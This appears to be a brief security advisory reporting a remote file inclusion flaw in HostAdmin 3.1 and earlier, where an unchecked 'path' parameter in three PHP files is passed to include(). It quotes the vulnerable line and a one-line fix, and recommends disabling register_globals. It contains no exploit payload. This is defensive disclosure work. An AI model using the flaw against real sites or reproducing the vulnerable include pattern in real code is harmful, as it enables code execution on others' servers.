Affected Products:

HostAdmin 3.1 and prior

Description:
----------------------------

HostAdmin is designed to automate your entire account and order management, recurring billing,
domain registration, server provisioning, and reporting needs. From creating the member account,
logging the member in, displaying available hosting and domain registration options, 
providing a shopping cart and ordering mechanism for the available products, and creating the order record,
HostAdmin will handle your requirements with speed and ease.

Requirements:
----------------------------

register_globals = On

Vulnerability:
----------------------------

Input passed to the "path" parameter in "index.php", "functions.php" and "members.php" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.

Solution:
----------------------------

I think you can fix this bug by replacing the following vulnerable code in the 
this 3 php-files with my one. It should fix the vulnerabilty and solve this
problem.

Vulnerable one:   "include($path . "member_template.html");"
MajorSecurity fix: "include("member_template.html");"

Set "register_globals" to "Off".
